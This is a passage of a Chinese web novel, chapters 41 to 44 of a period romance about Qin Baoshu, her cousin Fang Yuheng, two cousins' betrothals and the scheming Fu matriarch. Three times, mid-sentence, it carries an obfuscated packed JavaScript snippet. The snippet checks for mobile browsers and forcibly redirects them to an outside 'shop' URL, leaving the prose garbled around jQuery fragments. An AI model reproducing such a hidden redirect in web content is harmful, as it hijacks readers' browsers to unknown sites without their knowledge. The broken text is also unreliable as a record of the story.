哪知,他又把手心摊在她跟前,轻声说:“疼。” 秦宝姝一愣,好像有点明白他什么意思了,迟疑着低了低头,然后朝他手心吹了一口气。 方瑀珩:“还疼。” 秦宝姝:…… “王妈妈正在门口看着,你适可而止!”秦宝姝脸又开始发烫了,咬牙警告。 可某人就仗着反正暴露了的无赖心态,依旧摊着手一动不动,叫秦宝姝恨得磨牙,却只能是闭上眼屈服,连着再吹了好几口。 耳边传来他低低的笑声,她这才睁开眼,发现眼前哪里还有他的手,他那该死的手正抵在唇边偷笑呢! “方瑀珩!你让我一回,少捉弄我一回怎么了!”秦宝姝又羞又气,失去理智,伸手就揪住他衣襟,拽着他一阵摇晃。 王妈妈在门口看得目瞪口呆,问:“两人经常这样吗?” 砚书和拂风见怪不怪,齐齐点头。 砚书:“上次公子把表姑娘逗急了,姑娘扑上去大吼要跟公子同归于尽……” 王妈妈:…… 总感觉自己今日来,好像不是来监视,而是来见证了什么? 秦宝姝从跨院出来的时候,肉眼可见的比早上更蔫吧了,她疲惫地朝王妈妈挥手:“妈妈,我累了,我直接回屋补个觉,晚些再去给外祖母请安。” 王妈妈目送她往住处走,脑海里都是刚才她和方瑀珩小声议论什么的画面。王妈妈发现了,只要表姑娘皱了眉,表公子定然先会把她哄笑,然后两个脑袋再又凑一块嘀嘀咕咕。 或许老夫人才应该看看两人相处的情形。 而秦宝姝回到屋后,把外衣一脱,直接就扑倒在床上。 被方瑀珩那么一吓,她真的精疲力尽了,但在眼皮都睁不开的情况下,她脑海里还有记着一件重要的事。 她抱着被子,和拂风说:“劳烦陈叔给我准备烟火,必须在三日内,然后我还要一身好看的、很好看……最好看的衣裳……” 衣裳二字几乎成了呢喃。 41. 第 41 章 秦宝姝这一觉直接睡到日落,还是拂风硬生生拽起来,说即便要睡也得用过饭再睡。 坐在饭桌前的秦宝姝还茫然,丫鬟给夹了什么,她就吃什么,吃到一半她忽然一个激灵清醒了。 把碗一丢,捂着脸尖叫。 拂风差点被她吓个好歹,正要冲上去抱着她,结果她尖叫那么一声后,又继续端起碗扒饭。 拂风和满屋的丫鬟:…… 秦宝姝是想起方瑀珩那句他不介意入赘……然后就激动了那么一下下。 激动过后,她脑子里剩下的就是自己给到的三天期限。 她还有什么理由退缩呢! 拂风就看着她飞快把碗里的饭都吃完了,然后站起身就要出门。 “小祖宗,你这又要往哪里去?天已经黑了,风凉,好歹把披风穿上!”拂风心累地追上去,还得回头催丫鬟把披风拿来。 “我要去见外祖母!” 一应丫鬟又在她身后追,好不容易把披风给她穿上,顶着风,用被吹得乱晃的灯笼开路。 到了颐安堂,却是比往日都热闹,屋里除了刚传出喜讯的大表嫂刘氏不在,三房的人都齐聚一堂。 秦宝姝站在门口愣了一下。 冯老夫人见到她也一愣,瞧见她鼻子冻得红彤彤的,连连招手:“快进来,不是说累着睡下了,怎么这会儿过来了。” 秦宝姝入内,和诸位长辈兄弟姐妹见礼,二房姐妹花站起身喊了一声表姐,然后两人又红着脸坐下了。 她眼尖,立马发现了姐妹俩那含羞带怯的神情,杏眸一转,有了个想法。 “我醒来一会了,已经用过饭,想着来给您请安,免得让您担心。这是……发生什么事了?” 秦宝姝试探着,眼珠子一直朝二房姐妹花看去。 冯正铭终于被放出来,见到秦宝姝早就笑得见牙不见眼,更是个嘴快的。长辈还没开口,他就先给嚷嚷出来了。 “是二妹妹三妹妹好定亲了!” 一句话惹得两姐妹更是垂下头,害羞得连人都不敢看。 秦宝姝心道果然,冯老夫人指着孙儿笑骂:“快住嘴吧你,你又想被关起来了!就你话多!” 冯正铭瞥了父亲一眼,果然见父亲黑着脸,忙缩了缩脖子不敢再吭声,但还是忍不住又看了秦宝姝两眼才低下脑袋。 有几日不见姝妹妹,她好像更好看了。他心里苦得很,想起父亲跟自己说的那些话,是气愤和不理解,不懂为何他就不能娶秦宝姝。可他知道,如若他再任性顶嘴,估计家里能把他关到秦宝姝定下亲事,所以他学乖了。 先出来吧,关起来才一点机会都没有了! 冯正铭游历一年都没学会的隐忍,这就无师自通了。 冯老夫人那边已经给秦宝姝说了事情经过:“他们两家其实早就提了,是我老婆子说不着急,压了些时日,想查清看看究竟合适不合适。” “后来,你二舅妈带着她们又去接触过,都是和善的人家。再有,你二舅舅也回信了,说既然知根知底的人家,子孙也是出色的,那就定下。这不,人家说明日就来商议下定一事。” 秦宝姝顿时笑弯了眼,朝姐妹花道恭喜。 吕家和高家两位老爷都是在军中有实权的,哪怕家里功绩赶不上伯府,可往后谁知道呢,起码这一代的子孙都是个个上进的。 这样的人家,不愁前程。 二房姐妹羞答答道谢,把秦宝姝逗得再忍不住哈哈大笑:“表妹这还没见到夫婿呢,就羞得抬不起来头了,等明儿了可怎么办?成亲了又怎么办?” 她们姐妹总爱斗嘴,冯二姑娘被打趣得更是脸上发烫,就连最会回怼的冯三姑娘都哑巴了。 冯老夫人抬手去掐秦宝姝的鼻子:“你还担心人家怎么办,你不如担心自个吧!我明儿就让亲家给你介绍夫婿,好让你夫婿来管你这个泼皮!” 有人帮嘴,姐妹俩总算是有了底气,但也是战斗力大减,只能附和着说就是就是。 冯正铭听到介绍夫婿二字,险些坐不住要站起来,还得是他兄长冯正清眼疾手快,一把摁住了弟弟胳膊。 冯正宇瞟到兄长的动作,也默默伸手去摁住了四弟的右胳膊。 坐在末尾的三房长子冯正寰故意打翻茶水,哎哟一声:“四弟,你鞋泼湿了吗,我的不是!你快脱下来烘一烘。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12939014|135573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“他那臭脚丫,可别把大家都给熏着了,赶紧到后头去。”冯老夫人嫌弃着,让王妈妈带他到后面去烘鞋。 冯正铭就被三个兄长那么挟持着,饮恨暂避。 秦宝姝自然知道兄长们是故意的,在场的几位长辈心里估计也清楚得很,她抿抿唇,仿佛什么都没察觉,抱着老人的胳膊撒娇。 “我错了,您别打趣我了……还是先说二位妹妹的事。” 老人被她左右晃得眼晕,确实是事情没议定,只能暂时放过她,转而继续和二儿媳妇说明日请宴的事。 三老爷还穿着训练的软甲,多半是从军营赶回来的,等老夫人交代完,他才拱手说话:“两位亲家在军中我都有接触,喜欢喝的酒和茶,我一会都告知管事,让他们准备好。” 冯老夫人欣慰地点头:“等她们姐妹的事定好了,也该让正寰的亲事定下来,再有就是四姐儿。我们是一家子,可不说两家话,我老婆子绝不能叫他们受委屈的。” 冯正寰的婚事也是个难事。 外人都认为三房不是冯老夫人亲生的,自然没有太好的人家来说亲。 但冯三老爷从来不着急,温声道:“儿子知道母亲的心,寰儿自个也有打算,您放宽心。” “这么说……是寰儿……”有心上人了? 这话冯老夫人没说出口,而是想到什么,睨了身边的秦宝姝一眼,话里就更有话了。 “个个啊,都是有主意的!” 秦宝姝装听不懂摸鼻子,把老人看得哼笑一声。 等事情议定,众人离开,秦宝姝单独留了下来。 冯老夫人老神在在喝茶,在秦宝姝快要沉不住气时,开了口:“说吧,你急吼吼来找我老婆子,想说什么?” 秦宝姝抿唇,随后眼神坚定,直接跪倒在老人面前:“外祖母,您对孙女的心,孙女一直知道!可正是如此,孙女才不想阳奉阴违,伤了您的心,伤了这份祖孙情谊!” “孙女想要和方表哥在一起,还请您成全!” 她一口气把心里话都说了出来,矮身磕头。 她想要和方瑀珩光明正大地出现在人前,不然才是真正的折辱他! 42. 第 42 章 秦宝姝回到自己小院时已经是深夜。 好不容易养回来的精神又萎靡了下去,草草梳洗后,倒头不过片刻就进入梦乡。 拂风凝视着她眼底下的乌青和还泛红的眼角,心疼着给她把被角掖好。 她们姑娘跪下去说完那番话,整个颐安堂的下人都被遣了出去,然后门就被关上了。 拂风不知道老夫人给自家姑娘说了什么,只是隐隐听见姑娘争辩了几句,然后是姑娘压抑的哭声。 门再被打开的时候,她们姑娘眼睛通红,但神色是冷静的,如若不是一双红肿的眼睛,任谁也看不出来她曾哭过。 秦宝姝没提老夫人是怎么答复的,她也没敢再多问,怕再叫她难过。 总之……应当不是一个很好的结果。 陈叔今日还特意让人送口信来,说是姑娘要的裙子布料样式都是按如今最流行的挑的,一定会叫姑娘满意。 拂风想,自己忘记了才没提起,如今看着还好是忘记了,不然姑娘会更难过和失落吧。 冯家人今日算是个双喜临门。 先有秦宝姝和傅家彻底摆脱关系,后有二房姐妹花婚事敲定,可傅家那边就真是倒霉得可以。 秦宝姝花高价买下宅子,直接把她给赶了出去,临急临忙的哪里能找到住处,傅老夫人只能骂骂咧咧先找客栈。 结果开年就有会试,客栈都住满了,哪里还有余留的。 眼看着就要睡大街上了,终于有仆妇打听清楚,说是原本胡同里还有一处宅子,只是太久没修缮,只能面前是有瓦遮顶。 他们现在有片瓦遮顶就不错了! 傅老夫人心里明白只能忍,带着向氏去看了宅子。 一进的宅子破得风一吹,门窗就吱呀叫个不停。 但也没办法了,咬牙又交了一个月租金,足足十两银子,气得傅老夫人事后一直骂坐地起价的黑心肝玩意。 然而再骂,满京城都住得满满的,她也只能是骂两句,老老实实住下。 可哪知隔壁人家居然靠着他们的院墙垒了猪圈,风一刮,猪圈那股骚臭味道就一直往屋里灌,熏得傅老夫人一夜不知道哕了几回! 婆母不好过,向氏日子就更难过了。 给倒水,动作慢一点,上前去就遭一脚踹了过来。 给擦洗床铺,也是嫌弃和被掐胳膊,一夜下来,向氏双手冻得通红不说,胳膊也是一块一块的瘀青。 向氏身边伺候的都看不下去了,偷偷给她找来药酒,在傅老夫人有吩咐的,尽量去替向氏上前伺候。这才没叫向氏受更多的委屈。 傅老夫人折腾累了,好不容易裹着棉被睡着,正是香甜的时候,就被人一顿猛晃,给硬生生摇醒了。 “你们是要死了不成!”傅老夫人迷迷瞪瞪睁眼,张嘴就先骂人。 哪知一个掐得尖细的声音在屋内响起:“老夫人好大的威风啊,怪不得敢大闹平西伯府呢……” 这种特殊的声调,就像是指甲刮过铜镜镜面那种刺耳声,叫人浑身都起鸡皮疙瘩,吓得傅老夫人瞬间清醒。 她睁开眼,瞧见面前的人面白无须,不是熟悉的那张面孔,但那做派和阴阳怪气都是一样的! 傅老夫人忙坐起身,咽了咽唾沫,干巴巴地笑:“不知贵人驾临,有失远迎。” “咱这样的玩意当不得您一句贵人,真正的贵人正等着您,还请您劳累,跟咱走一趟。” 傅老夫人脑袋空白了一瞬,很快就又露出笑来,自己飞快穿好鞋子:“不敢不敢,劳累您才是,您这边请。” 那人这才哼笑一声,嫌弃地用手帕捂着口鼻出门去。 而且对方还不让傅老夫人带上人,只许她一个人上马车,扬长而去。 一屋子伺候的吓得瑟瑟发抖,过了许久,才有人紧张地问向氏:“太太……他、他们是宫里的人吗,老夫人不会有事吧!” 向氏好像是也被吓傻了,双眼无神的,愣愣地看着地面。 丫鬟婆子只能去扶她坐下,哪知刚碰到她的胳膊,向氏就倒吸一口凉气,缩着身子不让再碰。 手上的伤……太疼了,她身上还好冷,好难受。 向氏眼前发黑,在丫鬟婆子的尖叫中倒在地上。 至于傅老夫人,一路忐忑地坐着马车,不知转到京城什么地方,然后进了一个宅子的偏门,被警告不允许抬头,只能跟个犯人一样垂着脑袋被带到目的地。 屋子的摆设,像是个书房,却又充斥着靡靡香气,被暖炉一烘,黏稠得能糊住人的口鼻,叫人感到窒息。 傅老夫人紧张地站在,身后的门已经被关上,屋内忽然响起女子低低一声尖叫,说不上是痛苦,还是别的。 傅老夫人听着,脸上的血色散个干净,心底是说不出的羞辱,比被拖出大理寺大门更甚! 然而,再如何羞愤,她硬是不敢在脸上表现出一分一毫,只能垂着脑袋站在原地。硬生生听着不时就在屋内响起的喘息或者娇呼,直到双腿发麻,她才听见有脚步声从里头出来。 她依旧不敢抬眼,只感觉香风扑鼻,是一个赤脚的女子从跟前走过。 又过了片刻,终于再响起另外的脚步声。 不过那人只是走到落地罩前就停住脚步了,她听见椅子轻微移动的声响,想来那人是坐下了。 “老夫人,许久不见了。”和记忆里一模一样的尖细声音响起来。 傅老夫人哆嗦了一下,忙回话:“许久不见您老了,您一切安康。” “托夫人的福,今儿就被臭骂一顿,指不定明儿还得挨上一顿板子。” 这尖细的声音听得傅老夫人汗毛倒竖:“我这不就是想要还清欠下的银子,才出此下策,结果那贱人的儿子早早就做了手脚,我这才吃了个大大的哑巴亏,若知道会惊动贵人,就先跟贵人说了……” 这话还没说话,一个杯子就从落地罩的纱帘后狠狠砸了出来,直接砸在傅老夫人身上,吓得她尖叫一声,再被滚烫的茶水一泼,可谓是惨叫连连。 落地罩后头的人在冷笑:“早知道?!你分明就是在等这一刻!贵人何曾催过你们要银子?分明是你这个老货,堵不住其他的窟窿,偷偷摸摸上京来演这一出戏,来惊动贵人!” “公公明察啊,我真没有这个心思!”傅老夫人连声自辩,“我用这事惹恼贵人有什么好处!倒霉的还是我这个老婆子啊!” “还敢嘴硬,你这点心思别说在咱家跟前,就是咱家手底下最窝囊的东西,都能知道你在盘算什么!” “你闹得沸沸扬扬,根本就不在意你那孙女认不认你,你要的是激她为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942752|135573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父报仇!已经有人暗中到西南去,准备扒了你们傅家的老底!”他越说越气,声音也越来越尖锐刺耳,“此事若是叫他们做成了,绝对会连累贵人,贵人为了自保定然是要出手的,你是怎么敢用这一招借刀杀人!!” 心思彻底被揭开,傅老夫人脚一软,跌坐在被茶水浸得冰凉的地砖上,手掌也刺刺地疼,有血水渗了出来。 她一动不能动,大口大口地喘着气,汗珠直接从额头滑落,迷了她的眼,身体更是止不住地战栗。 纱帘后的身影嗤笑,凌厉的目光宛如化作刀锋,直接穿透纱帘要劈到她身上。 “什么东西,敢在咱家和贵人面前耍心眼,真不怕自己被野狗分了吃,尸首不全!” “公公且听老身再说两句。”傅老夫人努力控制颤抖的声音,“我那养不熟的孙女,身家已经不是用万两十万两来衡量的,我瞒着贵人行事,确实是想要让贵人帮忙。可这个忙也要值得贵人出手不是,所以我才会把我的难处先让贵人知道。” “咱家可算是知道了什么叫巧舌如簧,这么说,贵人还得谢谢你的贴心了。” 傅老夫人从这阴阳怪气里听出了杀机,紧张得脑子快要一片空白,却还是有最后的杀手锏,她深吸一口气。 “公公,如若傅家倒了,我那老头子留下的门生就一点都帮不到贵人了,恐怕还得牵连贵人。请您转告贵人,我那孙女生得貌若天仙,除了银子,多少还有别的能搏一搏贵人欢心……何况,她身后还有疼爱她的平西伯府。” “只要把她捏在手里,那就相当于平西伯府也在贵人手里了!听闻陛下最近也有着想要重新重用平西伯的打算,如若此事是真……” 说到这里,傅老夫人咽了咽唾沫,不说话了。 朝廷混迹的,比她这个老婆子懂得要多,根本无须她再多言。 “你如何知道此事。” 对面沉默了片刻,问道。 傅老夫人一颗心就定下了:“您也知道,我那老头子门生多,这样的事我打听得到也不是什么好吹嘘的本事。” 接下来,屋内是久久地安静。 “你先回去,等贵人的决断。在那之前,你再敢擅自行动,真要拔了你们傅家的根,也不是什么难事!” 一句话,让傅老夫人烂泥一样软倒,那人看得又是一阵怪笑,让人把她给扛走,送了回去。 傅老夫人上了马车,才发现自己居然失禁一身都是尿骚味,但比起这点丢脸,性命暂时是保住了。她赌对了,只要还有利用的价值,傅家就不会倒! 可惜她的儿子没有一个有胆色的,只能靠她这把老骨头来扭转乾坤! 想到这儿,傅老夫人心里就又得意起来,那个贱蹄子还陷在脱离傅家的高兴里吧。高兴吧,也高兴不了几日了,银子傅家得不到,也不可能便宜那贱人的后代! ** 天还没亮,冯家的下人就起来洒扫,为今日特殊的客人上门做准备。 秦宝姝一觉睡到天亮,就看到小灰在炕上的小几叼食吃,她忙穿上绣花鞋,上前去把小灰脚上信筒的字条取了出来。 打开一看,上面只有大大三个字。 第一日。 秦宝姝抿唇就笑了:“他这是怕我忘了,还是跑了!用得着他巴巴送信来提醒!” 43. 第 43 章 两家结百年之好,平西伯府从早上就开始热闹起来,下人们把府邸的地面都扫得一尘不染,酒水茶点一应准备齐全,就等着亲家上门。 这样重要的日子,冯淑晨也回了娘家。 秦宝姝刚到颐安堂,就瞧见大姐姐正坐在老人身边,眉角眼梢都是笑意,还是和在闺阁时一样的幸福。 她唇边的笑容也跟着灿烂起来。 “这丫头可算是见到人影了。”冯淑晨见到她,笑得更是开心,和以前一样拉着她在老人身边坐下,“听说你昨日就差不多睡一日,这会又要日上三竿了,这种睡法对身子可不好。” “我就是前儿走了困,大姐姐不用担心。”她说着抿唇一笑。 不知怎么的,就忽然和外祖母对上了视线。 老人显然是一愣。 秦宝姝清楚地看见老人眼里未能及时散去的伤感,旋即才笑着点她额头:“她这脑袋瓜子天天不知道想什么呢。” 秦宝姝也笑,只是眼里的光黯淡了一些:“想着外祖母长命百岁,大家都无病无灾,好继续宠着我,让我在家里当小霸王!” 冯淑晨被逗得直笑,“你这叫耗子扛枪窝里横,你倒是上外头当霸王去!” “也不是不行。”少女杏眸滴溜一转,笑意就在眼尾散开,“改明儿我就祸害别人家去。” 冯老夫人此时握住姐妹俩的手,忽然长叹一声,却又什么都没说。 是管事婆子前来禀报,说两家的老爷夫人以及保媒的礼部徐侍郎都到胡同口了,颐安堂骤然安静的诡异气氛才戛然而止,冯老夫人牵着姐妹俩的手往外走。 高家老爷如今在金吾卫,吕家则是在羽林卫,两家夫人也是将门出身,性格爽利,说话也从来不是拐弯抹角的人。 秦宝姝见着两位夫人,然后就收了两个大金镯子,当然不是她一人有,是冯家姐妹都有的见面礼。 吕夫人一边往她们手里塞,一边乐呵呵地笑:“别嫌弃金子俗气,这东西可比那些什么玉石宝石好使得多!” 自古以来,黄金都是稀缺的玩意,只是戴在身上显得过于高调,导致现在许多人家都喜欢用玉石,低调又风雅。 秦宝姝自个也是喜欢黄金的,所以常佩戴都是金步摇或者珍珠步摇,不少夫人小姐见了就觉得张扬,都爱背后说她就是个暴发户。 今儿难得遇见这般直白的人,秦宝姝连推辞都没有,直接就把手镯收下了。 那动作之快,把两位夫人瞧得愣了愣,下刻都高兴地笑了起来。 “瞧,我就说准备金子没错!你还说俗气!”高夫人用手肘戳了一下吕夫人,吕夫人松一口气,和冯老夫人说,“您知道,我们俩不爱走动,又是大大咧咧的性格,说错话把人得罪了也不知道。今日啊是真硬着头皮出门来,不然我们家里的孩子,这辈子都要娶不着媳妇了!” 这番话是自谦自贬,却能听其中的真诚。 冯老夫人抬手凌空指了指身边的少女,“你们这话,先前总有人给我说,我还说是她想躲懒。如今看来,是我错怪她了,竟然是真有不爱出门吃宴的!” 秦宝姝被点名,揣着金镯子朝两位夫人屈膝一礼:“多得两位夫人,我今儿总算‘沉冤得雪’了!” 如此开场,自然就都拉近了关系,显出亲家的亲近来了。 冯老夫人领着众人走到厅堂落座,二房姐妹还躲着没出来,要等确定亲事、交换庚帖再出来给未来婆母见礼。 二夫人操办过儿子的婚事,有了经验就游刃有余,一切都办得有条有理。 冯淑晨就拿肩头碰了碰看得认真的秦宝姝:“表妹看得这般入神,在想什么呢?” 秦宝姝扭头就瞧见她狐狸一样的笑,心道又打趣她呢。 她就哼一声,神气道:“偷师啊,这样轮到我定亲,我就不怕出错。” 她如此直白,反倒把喝水的冯淑晨呛到了。 冯淑晨用袖子挡着脸咳嗽两声,好笑道:“你定亲自有祖母她们操心,哪就要你自个亲自上!” 秦宝姝脸上的笑僵了僵,然后装作不在意地挑眉:“那多学点总没差。” 身为家里的长女,洞察力自然是敏锐的,冯淑晨方才就察觉到秦宝姝和祖母之间好像有了别扭。如今玩笑中,冯淑晨知道没猜测错,家里可能是出了什么事。 但在这样的日子也不好过问,更何况冯淑晨知道,自家这个表妹不想说的话,就是拿刀架她脖子上也不会开口的。 冯淑晨把此事先记在了心里。 很快,定亲的章程都顺利走完。 姐姐冯淑婉许配的是吕家公子,妹妹冯淑仪是高家公子,其中吕夫人还说了件事,说吕公子只见过姐妹花一回,却也是一回就精准认出了冯淑婉。 吕夫人生怕他看错了,结果被儿子一句:我喜欢的人都能看错,那我就打一辈子光棍。 秦宝姝听了在想,这可能就是所谓的一见钟情,一眼定终身了。 不知怎么的,在热闹的气氛中,她心里有一丝丝的难过。 等到酒足饭饱,宴散了,伯府的长辈们又要为姐妹俩的请期一应琐碎事商议,她就趁机告退回了自己的小院。 拂风早就看出她的心不在焉,问她是不是累了。 秦宝姝摇摇头没说话,脑海里都是昨夜和外祖母的对话,不由得长长叹气。 她随手抓了账本,继续看账。 心烦的事多想,只会更烦心,倒不如多学点本领,如若日后真要自己当家做主,好歹不会闹得一团糟。 陈叔还是按着以往的时辰到伯府来,平时踩着点,秦宝姝肯定是刚午歇起来在洗漱,今儿却是已经捧着账本,手边有一小叠的纸都写了东西。 “姑娘今日这般刻苦。”陈叔诧异。 秦宝姝其实早就会看账本和算账,而且算数极为厉害,只是她总说犯懒,有人依靠就不想动手动脑子。 陈叔心疼她年纪还小,这些事情确实枯燥又费神,便不多督促,左右明白其中门道,不会上当受骗就成。 哪怕这些日子开始手把手传授商经,她也没有多积极,今日的自觉可不得叫人吃惊。 秦宝姝抬头喊了声陈叔,把手里有用朱笔标出来的几张纸递了过去。 “陈叔瞧瞧,我发现这两年米粮价格和收成似乎有点不对,明明不是荒年,朝廷亦说产量在增长,为何我们收得的米粮越来越少,且价格时高时低。” 秦家商行涉猎米粮布匹炭火一应生活必需品,每一年的核算都是清晰明了的。 只不过这些数目都没在送来的账本里,秦宝姝却记住了,还提了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960736|135573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,陈叔是又惊又喜。 他激动地说:“我还想着再过半个月才和姑娘说这些事,结果姑娘先看出来了。这事我也今年年初发现不对,但是暗查之下,发现各家都这样,但只有朝廷入库的粮食没少,却也没见多多少。” “余下的米粮呢?我还以为是有别家人抢了我们商行的生意……”秦宝姝不解。 陈叔摇摇头,坐下和她细致说可能的几个原因,但只是猜测,说了其实也是白说。 秦宝姝听得头疼:“等明儿开春了瞧瞧,有没有人大量抛售陈粮,如若没有,恐怕真要乱了。” 有人起义,然后粮食少了,很难不让人认为是朝廷说的叛军屯粮了。 一个国家是否安定,除去朝堂,最先发现端倪的就是商人了。 秦宝姝后面又拿着账本问了几个自己没琢磨透的问题,虚心地记下陈叔的指点,把陈叔乐得一直呵呵地笑。 不过让人烦心的事还是要逃不开。 陈叔把进府之前得的消息慢慢说来:“傅家那头一早请了郎中过去,是向氏昏迷一夜,然后发高热了,之后就是更古怪的事。” 秦宝姝跟着皱起眉头。 “我们的人亲耳听见老虔婆在屋子里骂向氏是赔钱货,没有银子给她治病,让她自己熬着,熬不过去就一张草席给她卷了。” “到了中午,那老虔婆却忽然雇了马车到城东的百味楼,再出来的时候喜开颜笑,当即就吩咐人去重新找宅子。说最低也要二进的,还让人又去请郎中,给向氏认认真真地治病了!” 秦宝姝杏眸眯了起来:“她手里有银子了!” “什么人接她的?!” 陈叔摇头:“不敢打草惊蛇,没敢去小二那打探,人来人往的,确实不好分辨。” “那老婆子果然有备而来。”秦宝姝庆幸自己没有就此放松,“还是再盯紧了,看看她搬哪儿去。是谁出手那么阔绰,让她连刚交的十两银子都不在乎了。” 起码给了那傅老太婆有几百两或者千两。 可惜,京城里跟傅家有关系的人家,她还是了解得太少。 “陈叔早点回去歇歇吧,她的狐狸尾巴迟早藏不住,我们也没必要干着急。”她伸手揉了揉发胀的眉心,语气带了一丝疲惫。 陈叔点头,又嘱咐她晚上不要再看账了,对着烛火伤眼。 秦宝姝嘴里答应着,用过晚饭还是抱着账本啃,拂风劝了几句也没见效,只能把汪箐给拉出屋,低声说了几句。 不过一刻钟,她窗户就传来熟悉的敲击声。 是小灰过来了。 秦宝姝把窗户开了一条缝隙,胖乎乎的鸽子钻了进来,就乖巧蹲在桌子上。她伸手先摸摸它脑袋,然后才取下字条。 方瑀珩的字迹还是和往常一样笔锋凌厉,好像是拿刀剑写的字。 她一眼就先笑出声,上头赫然写着:第一日马上就要过完了。 “看来今日阁老没给他很多功课,还能分心。”笑过后,她习惯性地翻转字条。 多数时候,后面是空白的,今日却还有一行字。 不再是他那有着棱角的笔迹,而是工整的馆阁体。 ——晚上看账本伤眼,早些歇息。 秦宝姝一愣,一句话仿佛是他在耳边温柔低语。 44. 第 44 章 冯家近些日子连连传出喜讯,想要低调也不行。 在和吕家、高家定下亲事后,次日就不少夫人递来帖子,打着探望冯老夫人的借口来打探消息。 二房姐妹定亲第二天,林大姑娘和魏姑娘也跑到伯府,拉着秦宝姝说了大半日的话。 先是从傅老夫人开始,再到冯淑婉姐妹,要不是到了中午饭点,有美食堵住她们的嘴,恐怕能一口气说个一天一夜。 用过饭,两人终于有点疲乏了,但今日来的目的没忘。 “宝姝,你知道现在外头的人怎么说的吗?”林大姑娘站着消食,一手撑着腰,脸上都是不屑,“居然有人说你傻,守着一堆银子无用,说傅家姑娘的身份,那可是银子都买不来的。” 秦宝姝神色不变,细细品着清茶,不急不缓地说:“他们送上门去认个祖宗就是,何必牵连我。” 魏姑娘哼了声:“可惜人家要银子,他们没有,人家看不上,都是一样烂心肝的东西。” 林大姑娘在边上点头:“他们还说,如若你真是傅家的姑娘,那婚嫁就是随便挑。我的天啊,我听母亲说,他们家自打傅老太爷过世了,就只出了一个举人!这样的人家,还随便挑,真就是文官金贵了!” 本朝素来崇文,武官的地位被压得连个秀才能指着二品武将鼻子骂,前不久就正是发生了这么一桩事。 秦宝姝见两人越说越气,知道她们平时出去赴宴,没少被文官的千金孤立,温声好一顿安抚,才叫要跳脚的表姐妹俩消了气。 还好两人脸皮薄,在人家这儿叨叨半日,也不好意思再久留,喝了一盏茶后就说要先回去,改日再聚。 离开前,林大姑娘说:“那傅老夫人在大张旗鼓地说要请宴,我母亲说,估摸还是不少人会看在傅老太爷的名望前去。我母亲就收到请帖了。” 说着,林大姑娘声音压得低低的。 “母亲说还有件怪事,在请帖送来之后,有一个不太相熟的官夫人来拜帖,居然打听起你的消息。我母亲是看那位夫人和宫里的贤妃娘娘有亲戚关系,才见了一见。那夫人姓杨,可我这该死的脑袋忘记她夫君官职了。” 秦宝姝细细的柳眉忍不住拧着。 为什么要到县主那边打听她? “我不知道这两件事有没有联系,就是觉得万一呢,想着先告诉你。”林大姑娘笑盈盈朝她挥手,“等我回去再问清楚母亲,我再给送信来!” 秦宝姝谢过,目送两人上马车离开。 拂风心里不安:“那老太婆不是昨日还在找房宅子,这就好了,要请宴了?!” “要么房子是别人帮她准备的,她只是吆喝几声,好用来遮掩。要么就是她得的银子足够多。” 后面这个猜测她昨日就有过,今日看来,她认为两个都有。 “请宴又为何?” “只要砸出大把的银子出去,让人看不出来捉襟见肘,她就可借机洗清是为了银子,才大闹伯府和大理寺非要认我回去的实情,用假象给外人看她不需要我,也有大把的银子使。” 拂风倒吸一口凉气,心里对傅老夫人不耻到极点:“她这是又要脸了?可若再被催账,这些不就是水中月,一碰就露馅了!” 这正是秦宝姝最疑惑的点,或许是傅老夫人想到了还清债务,又可能是和欠债那个贵人谈妥当了。 “我估摸着外头那些传我不回傅家是损失的花,要和是她让人宣扬出去的。我明儿再问问方表哥吧。”她实在是有些捋不清了。 不知道是不是身为局中人,傅老夫人的任何举动,她都会第一时间特意跟自己联系起来,可别是自作多情。 不过她宁可是自作多情,如此一来就没有那么多的是非了。 她提到方瑀珩,拂风就抿嘴笑,看向少女的目光都带了几分促狭。 “姑娘要的衣裳,今日就能送来,陈叔说十个绣娘轮着给姑娘做新衣裳,就怕赶不上。” 可惜话落后,拂风没瞧见少女脸上该露出的明媚笑容,反倒看见她眉宇间有淡淡的忧愁。 拂风顿时闭上了嘴,神色也变得严肃来,莫不是老夫人那边真不愿意成全? “如此最好了,到时候我要美瞎他的眼!”秦宝姝的低落只是短短一瞬,下刻就扬着下巴臭美地笑。 笑完又连呸了三声。 “不能瞎,不能瞎,他还得高中平步青云呢!” 拂风在边上是又担忧,又好笑。 二房姐妹定了亲,家里还有个刚怀上孩子的孕妇,长辈们的精力就都被分走,忙碌起来。 秦宝姝见此正好躲懒,到颐安堂走一趟就开溜,躲自己屋子里敲敲打打不知在干嘛。 长辈忙起来,冯正铭的心思跟着活跃,又偷偷溜到了秦宝姝院子里。 